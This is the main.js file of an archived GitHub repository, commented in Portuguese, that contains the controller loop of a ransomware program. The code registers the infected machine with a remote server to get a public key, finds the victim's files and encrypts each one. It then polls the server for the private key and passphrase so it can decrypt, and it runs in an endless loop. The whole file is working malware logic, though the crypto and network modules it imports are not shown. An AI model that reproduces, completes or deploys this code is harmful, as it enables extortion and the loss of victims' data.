This repository has been archived by the owner on Apr 18, 2022. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathmain.js
66 lines (62 loc) · 1.79 KB
/
main.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
"use strict";
/**
* Importa os módulos utilizados no ransom
*/
const Connection = require("./connection");
const MachineManager = require("./utils/machineManager");
const Encrypter = require("./Ciphers/Crypter");
const Decrypter = require("./Ciphers/Decrypter");
const fileDiscover = require("./discovery");
const worker = require("./sync");
// instancia um novo módulo de conexção
const connection = new Connection();
const sleep = ms => new Promise(resolve => setTimeout(resolve, ms));
const waitThenDo = async (howLong, doWhat) => {
console.log("Vou dormir!");
await sleep(1000 * 5);
console.log("Já Dormi!");
// await main();
};
// função principal
async function main() {
var system = MachineManager.load();
if (!system) {
// vai rodar o crypter
try {
console.log("Iniciando os trabalhos!");
system = MachineManager.generate();
const { publicKey } = await connection.registerMachine(system);
const fileEncrypter = Encrypter(publicKey);
fileDiscover(filename => {
worker(filename, fileEncrypter);
});
} catch (error) {
// server offline
MachineManager.delete();
}
} else {
// já rodou o crypter
try {
console.log("Decriptando!");
const data = await connection.checkMachineStatus(system.uuid);
// data deve retornar { privateKey, passphrase }
if (data) {
const fileDecrypter = Decrypter(data);
fileDiscover(filename => {
worker(filename, fileDecrypter);
});
}
} catch (error) {
// server offline
console.log("Erro ao tentar decriptar");
}
}
// terminou todo o processamento, tá na hora da sonequinha!
}
(async function() {
while (true) {
// invoca o main pela primeira vez
await main();
await waitThenDo();
}
})();